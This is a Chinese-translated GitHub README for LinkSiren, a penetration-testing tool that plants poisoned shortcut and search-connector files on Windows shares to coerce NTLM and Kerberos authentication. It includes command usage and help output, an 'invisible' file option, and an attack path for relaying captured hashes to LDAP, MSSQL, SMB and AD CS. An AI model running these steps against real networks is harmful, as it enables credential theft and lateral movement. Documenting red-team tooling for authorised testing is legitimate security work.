gjhami/LinkSiren

GitHub: gjhami/LinkSiren

用于在内网共享中规模化投递诱饵文件以强制 Windows 认证,并支持智能路径识别与自动化清理的红队工具。

Stars: 38 | Forks: 4

# LinkSiren [![最新版本](https://img.shields.io/pypi/v/LinkSiren.svg)](https://pypi.python.org/pypi/LinkSiren/) [![Python 版本](https://img.shields.io/badge/python-3.9%2B%20%7C%20PyPy-blue.svg)](https://pypi.org/project/linksiren/) [![GitHub 许可证](https://img.shields.io/github/license/gjhami/LinkSiren)](https://github.com/gjhami/LinkSiren/blob/main/LICENSE) _塞壬等候着你,以歌和歌。_ - Walter Savage Landor 当你作为非特权用户却拥有大量文件共享访问权限而陷入僵局时,LinkSiren 是你最喜欢的提权策略。LinkSiren 会将 .library-ms、.searchConnector-ms、.url 和 .lnk 文件分发到可访问文件共享中的最佳位置,以强制打开它们的用户通过 SMB 和 HTTP 进行 NetNTLM 和 Kerberos 身份验证,并在他们的机器上启动 Webclient 服务。它类似于 [Farmer](https://github.com/mdsecactivebreach/Farmer/tree/1f37598125a92c9edf41295c6c1b7c258143968d)、[Lnkbomb](https://github.com/dievus/lnkbomb) 或 [Slinky](https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-slinky),但它能识别放置文件以实现最大强制力度的最佳位置,内置了可扩展的部署和清理功能,并生成对客户项目非常有用的详细日志。 # 安装 使用 [uv](https://github.com/astral-sh/uv)(推荐) ``` # 从 main 分支安装 uv tool install git+https://github.com/gjhami/LinkSiren.git # uv tool install linksiren # 或者从 PyPi 安装最新版本 ``` # 典型用法 ``` # 识别投毒文件部署的最佳位置 linksiren identify --targets [domain/]user[:password] # 部署到已识别的位置 linksiren deploy --attacker [domain/]user[:password] # 捕获哈希 / 中继认证 / 利用 WebClient 服务 # 清理投毒文件 linksiren cleanup [domain/]user[:password] ``` # 功能 - **身份验证**:NTLM 密码、Pass-the-Hash、Kerberos、匿名(NULL session)、SOCKS 路由。请参阅 [docs/AUTHENTICATION.md](docs/AUTHENTICATION.md)。 - **部署**:完整的参数说明请见 [docs/DEPLOY.md](docs/DEPLOY.md)。包括 `--force`(默认防止覆盖)、`--invisible`(零宽度前缀文件名 + 空白图标的 payload,用于桌面投放)和 `--probe-delete`(在无法删除的位置跳过写入)。 有关各版本的历史记录,请参见 [更新日志](CHANGELOG.md)。 # 详细用法 1. 创建一个用于爬取的目标文件,每行包含可访问的主机、共享或文件夹,格式如下。如果指定了主机,则会识别该主机上的共享,并将其视为下一层级的爬取深度: ``` \\server1.domain.tld\ \\server2.domain.tld\share1 \\server3.domain.tld\share2\folder1\subfolder1 ``` 2. 使用 LinkSiren 将提供的路径爬取到指定深度,寻找放置可强制进行身份验证文件的理想位置。生成的 UNC 路径将保存在当前目录的 `folder_targets.txt` 中。 ``` # 注意:您可以根据需要微调 --max-depth、--active-threshold、--fast 和 --max-folders-per-share 参数。 # 您也可以微调 --max-concurrency 以提高性能。 # 注意:指定 '.' 作为 domain 以使用本地用户账户登录 linksiren identify --targets targets.txt [domain]/username[:password] ``` 3. 使用 LinkSiren 将 payload 部署到步骤 2 中识别的位置。可以选择指定 payload 名称和扩展名。系统会根据扩展名自动选择 payload 类型(.searchConnector-ms、.library-ms、.lnk 或 .url)。成功写入 payload 的文件夹将保存到 `payloads_written.txt` 中。使用攻击者主机的主机名或 DNS 名称,并按需进行投毒以使其处于内网区域(Intranet-zoned),如我的博客文章 [DNS 劫持:呼唤我的名字](https://alittleinsecure.com/dns-hijacking-say-my-name/) 和 [theHackerRecipes](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient#abuse) 中所述,以强制进行 HTTP 身份验证。 ``` linksiren deploy --attacker [domain]/username[:password] ``` 4. 让 hash 自己送上门,并按你的心意进行中继 :) - 寻找 LDAP(S) 目标:使用 [LdapRelayScan](https://github.com/zyn3rgy/LdapRelayScan) 或 [NetExec 的 ldap-checker](https://www.netexec.wiki/ldap-protocol/check-ldap-signing) 来识别容易受到中继攻击的 LDAP 服务。 - 寻找 MSSQL 目标:使用 [mssqlrelay](https://github.com/CompassSecurity/mssqlrelay) 识别不强制加密因而容易受到中继攻击的 MSSQL 服务。此外,考虑将其与有关 Microsoft Configuration Manager 的信息结合起来,以执行 [TAKEOVER-1](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/TAKEOVER/TAKEOVER-1/takeover-1_description.md)。 - 寻找 SMB 目标:使用 [NetExec 的 SMB 功能](https://www.netexec.wiki/smb-protocol/enumeration/smb-signing-not-required) 识别容易受到中继攻击的 SMB 服务。 - 寻找 HTTP 目标:使用此 [单行命令](https://x.com/Defte_/status/1795815420903002495) 在无需身份验证的情况下检查 ADCS ESC8,或者使用经过身份验证的 NetExec/Certipy/Certify 来识别 ESC8 及其他提权路径,如 [TheHackerRecipes 所述](https://www.thehacker.recipes/ad/movement/adcs/#recon),这些也可能成为可行的中继目标。 - 使用 [Impacket](https://github.com/fortra/impacket) 中的 NTLMRelayx 中继到已识别的目标,并配合 pcredz 在攻击者机器上捕获 hash。我强烈推荐在 NTLMRelayx 中使用 `-socks` 模式。 - 如果你能创建 DNS 记录,可以使用 [Krbjack](https://github.com/almandin/krbjack) 或 [Krbrelayx](https://github.com/dirkjanm/krbrelayx) 将 Kerberos 身份验证中继到某台机器,这得益于 James Foreshaw 发布并由 Synacktiv 在其[博客文章](https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx)中描述的技术。默认情况下,域用户可以创建新的 DNS 记录,并且由于 [DDSpoof](https://github.com/akamai/DDSpoof),通常无需身份验证即可创建新的 DNS 记录。请注意,中继攻击的目标服务必须与被中继的身份验证映射到相同的服务类别,并且该服务不得实施签名、通道绑定或身份验证的扩展保护。 5. 攻击完成后清理 payload 文件。LinkSiren 会将有关任何无法直接成功删除的先前写入的 payload 的消息输出到控制台。 ``` linksiren cleanup [domain]/username[:password] ``` 6. 扫描现在可能在多台机器上已启动的 WebClient 服务,详情请参阅 [theHackerRecipes](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient#recon)。有关如何利用从该服务强制获取的 HTTP 身份验证进行权限提升和横向移动,请参阅此 BHIS 演讲 [攻击战术:用于提权的影子凭据](https://www.linkedin.com/posts/black-hills-information-security_attack-tactic-shadow-creds-activity-7284615209929891840-Po8m)。此外,有关如何利用影子凭据接管机器后,进一步强制获取已登录用户身份验证的详情,请参见我的博客文章 [强制获取身份验证的文件](https://alittleinsecure.com/files-that-coerce-search-connectors-and-beyond/)。 7. 如有必要,请查看 linksiren 日志,该日志可以根据时间戳、日志级别、消息、UNC 路径、user@domain (User)、工具模式 以及异常文本(如果存在,Exception)进行筛选。 ``` # 按目标过滤(例如 10.0.1.126) cat linksiren.log | jq '. | select (.Path | startswith("\\\\10.0.1.126"))' # 过滤日志级别(例如 ERROR) cat linksiren.log | jq '. | select (.Level == "ERROR")' # 按当前 UTC 时间戳过滤。截断格式字符串以显示当前分钟/小时/天/月的日志 cat linksiren.log | TZ=UTC jq '. | select (.Timestamp | startswith(now | strflocaltime("%Y-%m-%dT%H:%M:%S")))' # 按 ISO 8601 格式指定的时间窗口过滤(例如 开始时间戳=1; 结束时间戳=9999999999) cat linksiren.log | TZ=UTC jq '. | select (.Timestamp + "Z" | fromdateiso8601? > 1 and fromdateiso8601? < 9999999999)' ``` # LinkSiren 相关的攻击路径 1. (可选)如果你想强制进行 HTTP 身份验证,请获取内网区域(Intranet-Zoned)权限。请参阅 [theHackerRecipes WebClient 滥用](https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/webclient#abuse) 中的说明以及我的博客文章 [DNS 劫持:呼唤我的名字](https://alittleinsecure.com/dns-hijacking-say-my-name/)。 2. 创建一个包含可写 SMB 共享的 UNC 路径列表。 - 注意:你也可以仅提供主机列表(例如 `\\`)。Linksiren 将列出主机上的共享,并将每个共享的基础文件夹添加为目标。 - 注意:在 Windows 上,写入和删除权限是不同的。你可能可以创建一个带毒文件,但可能没有权限删除它。如果 LinkSiren 无法清理它部署的 payload,它会非常详细地通知你。 3. [可选] 在 `generate` 模式下运行 LinkSiren,在本地写入模板。 4. [可选] 在 `rank` 模式下运行 LinkSiren,根据最近的访问情况输出可访问文件夹的排名。 5. 在 `identify` 模式下运行 LinkSiren,寻找放置带毒文件的最佳位置。 6. 在攻击者机器上启动监听器或中继,以捕获和/或将强制的身份验证中继到没有签名/通道绑定的服务,如 LDAP、MSSQL、SMB、AD CS (HTTP) 等。 7. 在 `deploy` 模式下运行 LinkSiren,将 payload 放置在已识别的最佳位置。 8. 让 hash 源源不断。按需进行中继和/或破解。 9. 在 `cleanup` 模式下运行 LinkSiren 以删除所有带毒文件。 # 使用模式 LinkSiren 提供以下操作模式: ### 生成 创建用于强制的带毒文件并将其存储在本地。
用法 ``` linksiren generate --help usage: linksiren generate [-h] -a ATTACKER [-n PAYLOAD] Output specified payload file to the current directory instead of a remote location. options: -h, --help show this help message and exit -n PAYLOAD, --payload PAYLOAD (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms, .searchConnector-ms, .lnk, or .url Required Arguments: -a ATTACKER, --attacker ATTACKER Attacker IP or hostname to place in malicious URL ```
### 排名 给定可访问的共享或主机列表,根据在文件夹中放置文件强制用户进行身份验证的可能性,输出其中文件夹的排名。
用法 ``` linksiren rank --help usage: linksiren rank [-h] -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f] [-is IGNORE_SHARES [IGNORE_SHARES ...]] [-mc MAX_CONCURRENCY] credentials Output identified subfolders and rankings to folder_rankings.txt options: -h, --help show this help message and exit -md MAX_DEPTH, --max-depth MAX_DEPTH (Default: 3) The maximum depth of folders to search within the target. -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD (Default: 2) Number of days as an integer for active files. -f, --fast (Default: False) Mark folders active as soon as one active file in them is identified and move on. Ranks are all set to 1 assigned. -is IGNORE_SHARES [IGNORE_SHARES ...], --ignore-shares IGNORE_SHARES [IGNORE_SHARES ...] (Default: 'C$' 'ADMIN$' 'SYSVOL') Do not review the contents of specified shares when crawling as part of the folder ranking process. -mc MAX_CONCURRENCY, --max-concurrency MAX_CONCURRENCY (Default: 4) Max number of concurrent processes to use for crawling in rank and identification modes. Note: a maximum of 1 process is used per host. So linksiren will never make multiple simultaneous connections to the same host and concurrent processing will not accelerate crawling multiple shares on a single host. Required Arguments: credentials [domain/]username[:password] for authentication -t TARGETS, --targets TARGETS Path to a text file containing UNC paths to file shares / base directories within which to rank folders as potential locations for placing poisoned files. ```
### 识别 给定可访问的共享或主机列表以及可自定义的约束条件(包括每个共享的最大目标文件夹数),输出用于放置带毒文件的最佳文件夹的 UNC 路径。
用法 ``` linksiren identify --help usage: linksiren identify [-h] -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f] [-is IGNORE_SHARES [IGNORE_SHARES ...]] [-mf MAX_FOLDERS_PER_TARGET] [-mc MAX_CONCURRENCY] credentials Identify target folders for payload distribution and output to payload_targets.txt options: -h, --help show this help message and exit -md MAX_DEPTH, --max-depth MAX_DEPTH (Default: 3) The maximum depth of folders to search within the target -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD (Default: 2) Max number of days since within which a file is considered active. -f, --fast (Default: False) Mark folders active as soon as one active file in them is identified and move on. Ranks are all set to 1. -is IGNORE_SHARES [IGNORE_SHARES ...], --ignore-shares IGNORE_SHARES [IGNORE_SHARES ...] (Default: 'C$' 'ADMIN$' 'SYSVOL') Do not review the contents of specified shares when crawling as part of the folder ranking and optimal poisoning folder identification process. -mf MAX_FOLDERS_PER_TARGET, --max-folders-per-target MAX_FOLDERS_PER_TARGET (Default: 10) Maximum number of folders to output as deployment targets per supplied target share or folder. -mc MAX_CONCURRENCY, --max-concurrency MAX_CONCURRENCY (Default: 4) Max number of concurrent processes to use for crawling in rank and identification modes. Note: a maximum of 1 process is used per host. So linksiren will never make multiple simultaneous connections to the same host and concurrent processing will not accelerate crawling multiple shares on a single host. Required Arguments: credentials [domain/]username[:password] for authentication -t TARGETS, --targets TARGETS Path to a text file containing UNC paths to file shares / base directories to crawl for optimal locations to write poisoned files. ```
### 部署 生成用于强制的带毒文件,并将其部署到指定的 UNC 路径。通常,指定的 UNC 路径是 `identify` 模式的输出。输出成功部署 payload 的文件夹的 UNC 路径列表,以备清理。
用法 ``` linksiren deploy --help usage: linksiren deploy [-h] -a ATTACKER [-t TARGETS] [-n PAYLOAD] credentials Deploy payloads to all folder UNC paths listed one per line in the file specified using --targets options: -h, --help show this help message and exit -t TARGETS, --targets TARGETS (Default: 'payload_targets.txt') Path to a text file containing UNC paths to folders into which poisoned files will be deployed. -n PAYLOAD, --payload PAYLOAD (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms, .searchConnector-ms, .lnk, or .url Required Arguments: credentials [domain/]username[:password] for authentication -a ATTACKER, --attacker ATTACKER Attacker IP or hostname to place in poisoned files. ```
### 清理 从指定的 UNC 路径(通常是 `deploy` 模式的输出)中删除所有 payload。
用法 ``` linksiren cleanup --help usage: linksiren cleanup [-h] [-t TARGETS] credentials Delete poisoned files from folder UNC paths specified in --targets options: -h, --help show this help message and exit -t TARGETS, --targets TARGETS (Default: 'payloads_written.txt') Path to a text file containing UNC paths poisoned files to clean up. Required Arguments: credentials [domain/]username[:password] for authentication ```
# 其他信息 ### 我应该使用哪种 Payload 类型? Search Connectors (.searchConnector-ms):这通常是最佳选择。它们需要的交互最少,当在资源管理器中打开父文件夹时,会自动从停止状态启动 WebClient 服务,并且能够使用单个文件同时强制进行 SMB 和 HTTP 身份验证。 ### 这比其他工具好在哪里? 总结 - 可扩展至任意数量的恶意 .searchConnector-ms、.library-ms、.url 或 .lnk 文件 - 有针对性的恶意文件放置 - 单条命令即可完成部署和清理 - 基于 Python 的跨平台支持 就像在房地产领域一样,在尝试使用文件强制进行身份验证时,请考虑最重要的三件事:位置、位置、位置。此处指出的所有技术仅能强制打开包含带毒文件的文件夹的用户进行身份验证。 其他工具旨在将单个恶意的 .searchConnector-ms、.library-ms 或 .url 文件放置在指定位置并清理该单个恶意文件。如果你发现自己拥有大量共享的访问权限,你可能希望扩大规模,并且可能没有心情编写包装器。此外,在一片可访问的共享中,你可能不知道放置带毒文件的最佳位置。 LinkSiren 会爬取可访问的共享,并根据子文件夹很快被用户打开的可能性对其进行排名。然后,它利用此信息将恶意文件定向分发到多个位置。此外,LinkSiren 会记录其创建的恶意文件的完整 UNC 路径,从而允许使用单个命令进行清理。 ### 你打算如何让它变得更好? 我正计划添加以下功能: - [ ] 通过 socks 代理连接到使用 ntlmrelayx 生成的 smb 共享来测试该工具。 - [ ] 添加安全功能: - [ ] 在 deploy 模式下用 payload 覆盖文件之前,检查文件是否已存在。 - [ ] 在目标路径创建 payload 之前,检查是否可以从目标路径删除文件。 - [ ] 添加部署使用 EFS 加密的文件的功能,以触发 Windows 11 机器上加密文件服务 的启动,以便随后可以使用 [Coercer](https://github.com/p0dalirius/Coercer) 和 [PetitPotam](https://github.com/topotam/PetitPotam) 等工具强制进行身份验证。 - [ ] 为 .Library-ms 和 .searchConnector-ms 文件添加“不可见”目标选项,将其图标设置为空白,名称设置为不可打印的有效 ASCII 字符。 - [ ] 测试对共享的匿名访问。 - [ ] 启用使用 NTLM hash 进行身份验证。 - [ ] 启用基于票据的身份验证。 ### 免责声明 本工具专为道德黑客和渗透测试而设计。它应仅用于已获得明确书面测试许可的网络安全环境中。本人不对本工具的安全性和有效性承担任何责任。请别起诉我。
标签:HTTP, Python, 协议欺骗, 无后门, 逆向工具